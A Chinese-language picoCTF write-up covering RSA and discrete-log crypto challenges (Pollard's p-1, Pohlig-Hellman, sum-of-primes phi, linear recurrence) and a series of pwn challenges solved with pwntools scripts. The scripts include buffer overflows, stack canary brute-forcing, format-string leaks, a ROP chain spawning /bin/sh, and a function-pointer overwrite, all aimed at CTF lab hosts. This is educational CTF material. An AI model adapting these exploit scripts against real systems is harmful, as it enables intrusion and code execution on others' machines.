Crypto
其他题太简单了，所以只有最后四题的wp（）
Very Smooth
这题目名直接把答案说了啊
分析gen.py中的get_smooth_prime函数可以知道，这个函数生成的素数p都满足p-1是光滑数
直接上Pollard’s p-1算法
import binasciiimport gmpy2def pollard(n):a = 2b = 2while True:a = pow(a, b, n)d = gmpy2.gcd(a - 1, n)if 1 < d < n:return db += 1n = 0x65446ab139efe9744c78a271ad04d94ce541a299f9d4dcb658f66f49414fb913d8ac6c90dacc1ad43135454c3c5ac76c56d71d2816dac23db5c8caa773ae2397bd5909a1f2823c230f44ac684c437f16e4ca75d50b75d2f7e5549c034aa8a723c9eaa904572a8c5c6c1ed7093a0695522a5c41575c4dbf1158ca940c02b223f50ae86e6782819278d989200a2cd2be4b7b303dffd07209752ee5a3060c6d910a108444c7a769d003bf8976617b4459fdc15a2a73fc661564267f55be6a0d0d2ec4c06a4951df5a096b079d9e300f7ad72fa6c73a630f9a38e472563434c10225bde7d08c651bdd23fd471077d44c6aab4e01323ed78641983b29633ad104f3fdc = 0x19a98df2bfd703a31fedff8a02d43bc11f1fb3c15cfa7a55b6a32b3532e1ac477f6accc448f9b7d2b4deaae887450217bb70298afaa0f5e31a77e7c6f8ba1986979f15d299230119e3dd7e42eb9ca4d58d084d18b328fbe08c8909a2afc67866d6550e4e6fa27dc13d05c51cc87259fe73e2a1890cc2825d76c8b2a99f72f6023fc96658ac355487a6c275717ca6c13551094818efae1cec3c8773cc5a72fed518c00a53ba9799d9d5c182795dfcece07c727183fdd86fd2cb4b95e9f231be1858320aa7f8430885eb3d24300552d1a83158636316e55e6ac0a30a608964dbf2c412aed6a15df5fd49e737f7c06c02360d0c292abc33a3735152db2fb5bc5f6dp = pollard(n)q = n // pphi = (p - 1) * (q - 1)e = 65537d = gmpy2.invert(65537, phi)m = pow(c, d, n)print(binascii.unhexlify(hex(m)[2:]))
得到picoCTF{376ebfe7}
NSA Backdoor
素数生成方式和上一题一模一样
故技重施就能求得p了
但是密文生成跟寻常的RSA似乎不太一样
c = pow(3, FLAG, n)
即，也就是要求解离散对数问题
一些密码学算法安全依赖于离散对数问题，硬解一般是解不出来的
按照题目描述，在搜索引擎查找”Diffie-Hellman backdoor”，找到一篇文章How to Backdoor Diffie-Hellman
ps：提示里说的whitepaper就是指这篇文章
文章大致讲的是通过选定特定的p可以使得Deffie-Hellman算法中的离散对数问题被简单地解决，从而直接威胁算法的安全
题目中的n的因数p满足p-1是光滑数，按文章的描述，Pohlig-Hellman算法能很好地解决问题
ps：这是文章里提到的最基础的情况 （如果知道这个算法这题其实就能直接秒了
首先像上一题一样求出这个p
import gmpy2def pollard(n):a = 2b = 2while True:a = pow(a, b, n)d = gmpy2.gcd(a - 1, n)if 1 < d < n:return db += 1n = 0xd63c7cb032ae4d3a43ecec4999cfa8f8b49aa9c14374e60f3beeb437233e44f988a73101f9b20ffb56454350b1c9032c136142220ded059876ccfde992551db46c27f122cacdd38c86acb844032f8600515aa6ccb7a1d1ac62d04b51b752476d2d6ee9f22d0f933bebdd833a71fd30510479fcc7ba0afb1d4b0a1622cdc2a48341010dffdcfc8d9af45959fb30b692dc2c9e181ac6bcd6a701326e3707fb19b7f9dfe1c522c68f9b0d229d384be1e1c58f72f8df60ca5172a341a7ee81428a064beedd6af7b89cc6079f2b6d3717f0d29330f0a70acca05bf67ab60c2e5cb0b86bfca2c9b8d50d79d24371432a1efb243f3c5f15b377ccc51f6e69bfbf5ecc61p = pollard(n)print(p)
接着使用Pohlig-Hellman算法
搜索引擎说sagemath已经内置了这个算法
直接用就完事了，整挺好
import binasciip = 165904771154636133744258537155010957898841320976199637310247946276091086685264203988382040434355973963755682908150999129715814054881305005279715109357952947956732031939179558028421896612221813299929875548130332311862653487519381871784418328675201518221252865046296276946334529508065441554563296058286139050519c = 0x51099773fd2aafd5f84dfe649acbb3558797f58bdc643ac6ee6f0a6fa30031767966316201c36be69241d9d05d0bd181ced13809f57b0c0594f6b29ac74bc7906dae70a2808799feddc71cf5b28401100e5e7e0324b9d8b56e540c725fa4ef87b9e8d0f901630da5f7f181f6d5b4cdc00d5f5c3457674abcb0d0c173f381b92bdfb143c595f024b98b9900410d502c87dfc1633796d640cb5f780fa4b6f0414fb51e34700d9096caf07b36f4dcd3bb5a2d126f60d3a802959d6fadf18f4970756f3099e14fa6386513fb8e6cdda80fdc1c32a10f6cdb197857caf1d7abf3812e3d9dcda106fa87bac382d3e6fc216c55da02a0c45a482550acb2f58bea2cfa03R = GF(p)m = R(c).log(3)print(binascii.unhexlify(hex(m)[2:]))
得picoCTF{1ca93858}
Sum-O-Primes
We have so much faith in RSA we give you not just the product of the primes, but their sum as well!
这么膨胀啊
众所周知，*(q-1)%20%3D%20pq%20-%20(p%2Bq)%20%2B%201#card=math&code=%5Cvarphi%20%3D%20%28p-1%29%2A%28q-1%29%20%3D%20pq%20-%20%28p%2Bq%29%20%2B%201&id=oqhL6)
知道φ、e就能得到d，进而直接解密
import binascii
import gmpy2
x = 0x17fef88f46a58da13be8083b814caf6cd8d494dd6c21ad7bf399e521e14466d51a74f51ad5499731018b6a437576e72bd397c4bb07bfbb699c1a35f1f4fa1b86dee2a1702670e9cea45aa7062f9569279d6d4b964f3df2ff8e38cf029faad57e42b831bde21132303e127cba4e80cd3c9ff6a7bad5b399a18252dc35460471ea8
n = 0x85393637a04ec36e699796ac16979c51ecea41cfd8353c2a241193d1d40d02701b34e9cd4deaf2b13b6717757f178ff75249f3d675448ec928aef41c39e4be1c8ba2ba79c4ada36c607763d7dc8543103acfe1027245acda2208f22fcabe0f37bdadf077e4f943c4f4178cedeb5279a4ebc86323356e23a58b6666ac6ffbf4f1c8229117ffb9071a94dfb724957f10d6664e4ee02e16bed29eb922f126e2082e2f73b5c5b7817e0543155eb9673f4de3de8c91707c1261e8ba6e7348d930293f7796679218c2b1dabe41527eccd72ec3e7284344622eff81ae0541769fb70b6146b54bd092c2dfbe7f8e9653cad80d0fb4f3ef288778927b3852f9ff3a4076d7
c = 0x42cafbc77ed8396a681dac328701ee02cd746488ae084f15a3e6a5b8f666c595a372a69bbca0dae934fd5ed2292d4393912ee10a22a3b57de9cee2f30b5dc7c67f574b0453f6074171cca37bd407529cb30ba17f152ef5b2484d94b38cf0a513a723255d725e5c3b3f3c985f9223095be3fa148afedf91e4ed37720c3d97dd29cf07830efa8a557a9da68d3095fc3b31f3763e030b62c70d94c3d2951e163e48683f3b9611d562ea06bf1e5d8465e8bf5a6345050a5e7b0c175faf136562cf2a196fdb61ac6503446616cffa9ed85015b86dda73f6eda4d688d3e719a07439d98f95fb5dcf675948ec58d9af83fa29afa4375213ec48f09a6c8cbc431cfe7c6a
phi = n - x + 1
e = 65537
d = gmpy2.invert(65537, phi)
m = pow(c, d, n)
print(binascii.unhexlify(hex(m)[2:]))
得到picoCTF{3921def5}
Sequences
直接运行给的代码就拿到flag了（大雾不会真有电脑顶得住的吧
代码里有这么一段
# This will overflow the stack, it will need to be significantly optimized in order to get the answer :)
@functools.cache
def m_func(i):
if i == 0: return 1
if i == 1: return 2
if i == 2: return 3
if i == 3: return 4
return 55692*m_func(i-4) - 9549*m_func(i-3) + 301*m_func(i-2) + 21*m_func(i-1)
题目要我们优化这个线性递归函数
很容易想到去求这个函数的通项公式
先定义一个线性系统，其中
是系统当前状态，
是系统上一步的状态，
是用于对
进行线性变换的矩阵。因为下一步状态取决于前四步的信息，所以用一个四维向量表示系统状态，即有
按原函数构造递推方程
即有
那么待求的
因为要求的高次幂，所以先将其对角化，简便后续的运算
通过网上的工具可得，，其中
由于太难看了，这里就打算不用
来计算了，但是得想办法把
消掉
如果将改写成
，则
，成功消去
可以解得
分式结果不利于计算机的计算，稍微放大一下
我们只需要求，即
的第四分量，所以
可以只看第四行
综上可得
%5Ccdot%2013%5En%20%2B%20141933%5Ccdot%2017%5En%20%2B%201612%5Ccdot%20(-21)%5En%7D%7B42636%7D%0A#card=math&code=F_n%20%3D%20%5Cfrac%20%7B981920%5Ccdot%2012%5En%20%2B%20%28-1082829%29%5Ccdot%2013%5En%20%2B%20141933%5Ccdot%2017%5En%20%2B%201612%5Ccdot%20%28-21%29%5En%7D%7B42636%7D%0A&id=tSpeE)
转写一下
def m_func1(i):
a = 981920
b = -1082829
c = 141933
d = 1612
lcm = 42636
return (a * pow(12, i) + b * pow(13, i) + c * pow(17, i) + d * pow(-21, i)) // lcm
拿这个函数替换原函数，运行一下
得到picoCTF{b1g_numb3rs_afc4ce7f}本质线代题
Pwn
1、basic-file-exploit
拿到源程序代码，在 data_read() 函数有问题。
需要先随便写点东西进 data，然后输入 2 进入 data_read() 函数，entry 是我们需要读的 data 数组的下标，但是注意红框，将我们输入的 entry 变量通过 strtol() 函数转化成长整型，但是如果 entry 不是数字的话 strtol 返回 0，entry_number 被赋值为 0，然后输出 flag。
2、buffer overflow 0
3、CVE-XXXX-XXXXX
翻译一下：
输入漏洞的 CVE 作为具有正确标志格式的标志：
picoCTF{CVE-XXXX-XXXXX} 将 XXXX-XXXXX 替换为匹配漏洞的数字。
我们正在寻找的 CVE 是 2021 年 Windows 打印后台处理程序服务中第一个记录的远程执行代码 （RCE） 漏洞，该漏洞可在 Windows 操作系统的桌面和服务器版本上使用。该服务用于管理打印机和打印服务器。
所以picoCTF{CVE-2021-34527}
4、buffer overflow 1
from pwn import *
context.log_level = 'debug'
p = process('./vuln')
payload = b'a'*44 + p32(0x080491F6)
p.sendlineafter(b'string: ',payload)
p.interactive()
5、RPS
C 库函数 char strstr(const char haystack, const char *needle) 在字符串 haystack 中查找第一次出现字符串 needle 的位置，不包含终止符 ‘\0’。
每次的输入最多为 100 个字符，根据 strstr 函数的作用，只要我们的第一个字符不是 “rock”, “paper”, “scissors” ，然后输入内容又包含 “rock”, “paper”, “scissors”，所以，输入 5 次的 ‘aarockpaperscissors’就能打印 flag。
6、x-sixty-what
from pwn import *
context.log_level = 'debug'
#p = process('./vuln')
p = remote('saturn.picoctf.net', 54242)
payload = b'a'*72 + p64(0x40123B)
p.recv()
p.sendline(payload)
p.interactive()
7、buffer overflow 2
from pwn import *
context.log_level = 'debug'
#p = process('./vuln')
p = remote('saturn.picoctf.net', 60823)
p.recv()
payload = b'a'*112 + p32(0x08049296) + p32(0) + p32(0xCAFEF00D) + p32(0xF00DF00D)
p.sendline(payload)
p.interactive()
8、buffer overflow 3
from pwn import *
def leak_canary():
global canary
canary = "BiR"
while len(canary) < 4:
for x in range(256):
p = remote('saturn.picoctf.net',49239)
#p = process('./vuln')
print('Now canary:',canary)
p.recv()
p.sendline(b'120')
p.recv()
p.send(b'a'*64 + (canary+chr(x)).encode())
r = p.recv()
if(r==b'***** Stack Smashing Detected ***** : Canary Value Corrupt!\n'):
p.close()
else:
canary += chr(x)
print('\n\nget one\n\n')
p.close()
break
def pwn():
p = remote('saturn.picoctf.net',49239)
#p = process('./vuln')
p.recv()
p.sendline(b'120')
p.recv()
p.sendline(b'a'*64 + canary.encode() + b'a'*16 + p32(0x0804933B))
p.interactive()
if __name__=='__main__':
leak_canary()
print('canary:',canary)
pwn()
爆破了好久，有时还会 down 掉，可能我爆破的姿势不正确？⊙﹏⊙∥
9、flag leak
flag 存在栈上，调试发现输入点和 flag 在栈上的偏移为 36，然后我就一次次地试，从 %36$x 试到 %45$x%44$x%43$x%42$x%41$x%40$x%39$x%38$x%37$x%36$x，得到的字符串出现 ‘{’ 和‘}’，flag就应该泄露完了，再翻转一下得到正确的 flag。（不知道有没有更好的方法(⊙ˍ⊙)）
输入字符串：%45$x%44$x%43$x%42$x%41$x%40$x%39$x%38$x%37$x%36$x
ascii码转字符串：
将得到的字符串翻转就是 flag了。
10、ropfu
0x08049e39 : pop ecx ; ret 0x080583c8 : pop eax ; pop edx ; pop ebx ; ret
将 ‘/bin/sh’ 写到 bss 段
from pwn import *
context.log_level = 'debug'
#p = process('./vuln')
p = remote('saturn.picoctf.net', 63018)
int80_addr = 0x08071650
pop_ecx = 0x08049e39
pop_eax_edx_ebx = 0x080583c8
bss_addr = 0x080E6BB0
payload = b'a'*28 + p32(pop_ecx) + p32(bss_addr) + p32(pop_eax_edx_ebx) + p32(3) + p32(8) + p32(0) + p32(int80_addr)
payload += p32(pop_ecx) + p32(0) + p32(pop_eax_edx_ebx) + p32(11) + p32(0) + p32(bss_addr) + p32(int80_addr)
p.recv()
p.sendline(payload)
p.send(b'/bin/sh\x00')
p.interactive()
11、wine
给的是 exe 文件，IDA 分析了一下就是栈溢出覆盖返回地址。
from pwn import *
context.log_level = 'debug'
p = remote('saturn.picoctf.net', 58673)
#p.recv()
payload = b'a'*140 + p32(0x00401530)
p.sendline(payload)
p.interactive()
这里我设置了context.log_level = 'debug'才看到了 flag，如果不设置的话输入 cat flag 只会返回下面的内容。所以，这可能不是正确的拿 flag 方式？
Unhandled exception: page fault on read access to 0x7fec3900 in 32-bit code (0x7fec3900).
Register dump:
CS:0023 SS:002b DS:002b ES:002b FS:006b GS:0063
EIP:7fec3900 ESP:0064fe84 EBP:61616161 EFLAGS:00010206( R- -- I - -P- )
EAX:00000000 EBX:00230e78 ECX:0064fe14 EDX:7fec48f4
ESI:00000005 EDI:0021e718
Stack dump:
0x0064fe84: 00000000 00000004 00000000 7b432ecc
0x0064fe94: 00230e78 0064ff28 00401386 00000002
0x0064fea4: 00230e70 006d0d50 7bcc4625 00000004
0x0064feb4: 00000008 00230e70 0021e718 00026bb1
0x0064fec4: 37f26c2d 00000000 00000000 00000000
0x0064fed4: 00000000 00000000 00000000 00000000
Backtrace:
=>0 0x7fec3900 (0x61616161)
0x7fec3900: addb %al,0x0(%eax)
Modules:
Module Address Debug info Name (5 modules)
PE 400000- 44b000 Deferred vuln
PE 7b020000-7b023000 Deferred kernelbase
PE 7b420000-7b5db000 Deferred kernel32
PE 7bc30000-7bc34000 Deferred ntdll
PE 7fe10000-7fe14000 Deferred msvcrt
Threads:
process tid prio (all id:s are in hex)
00000008 (D) Z:\challenge\vuln.exe
00000009 0 <==
0000000e services.exe
00000026 0
00000025 0
00000024 0
00000015 0
00000010 0
0000000f 0
00000011 plugplay.exe
00000019 0
00000018 0
00000012 0
00000022 wined[DEBUG] Received 0xdd bytes:
b'evice.exe\n'
b'\t00000028 0\n'
b'\t00000027 0\n'
b'\t00000023 0\n'
b'System information:\n'
b' Wine build: wine-5.0 (Ubuntu 5.0-3ubuntu1)\n'
b' Platform: i386\n'
b' Version: Windows 7\n'
b' Host system: Linux\n'
b' Host version: 5.13.0-1017-aws\n'
evice.exe
00000028 0
00000027 0
00000023 0
System information:
Wine build: wine-5.0 (Ubuntu 5.0-3ubuntu1)
Platform: i386
Version: Windows 7
Host system: Linux
Host version: 5.13.0-1017-aws
12、function overwrite
存在数组的越界问题，如果输入的 num1 是负数的话就可以修改内存的内容。利用这个漏洞修改 chekc 的值为 easy_checker 的地址。
字符串的构造：33*39+50=1337，33是 ‘=’的 ASCII 码值，50 是 ‘2’的 ASCII 码值。
fun 数组与 check 指针相差 0x40 字节，一个 int 占 4 字节，所以 num1 = 0x40/4 = 0x10 == 16
easy 与 hard 地址相差 314
-16 -314
from pwn import *
context.log_level = 'debug'
#p = process('./vuln')
p = remote('saturn.picoctf.net', 59657)
p.recv()
p.sendline(b'!'*39 + b'2')
p.recvuntil(b'less than 10.\n')
p.sendline(b'-16')
p.sendline(b'-314')
p.interactive()
13、stack cache
这里设置返回地址的时候我用的是 push ebp 的下一个地址才行。不这样的话，不知道为什么会跳转会 main 函数，然后又进入 vuln 函数。
转换一下：
再翻转：
from pwn import *
context.log_level = 'debug'
#p = process('./vuln')
p = remote('saturn.picoctf.net', 53548)
win_addr = 0x08049DA0
UC_addr = 0x08049E21
p.recv()
payload2 = b'a'*14 + p32(win_addr) + p32(UC_addr)
#print(len(payload2))
p.sendline(payload2)
r = p.recv()
p.interactive()
若有收获，就点个赞吧
0 人点赞
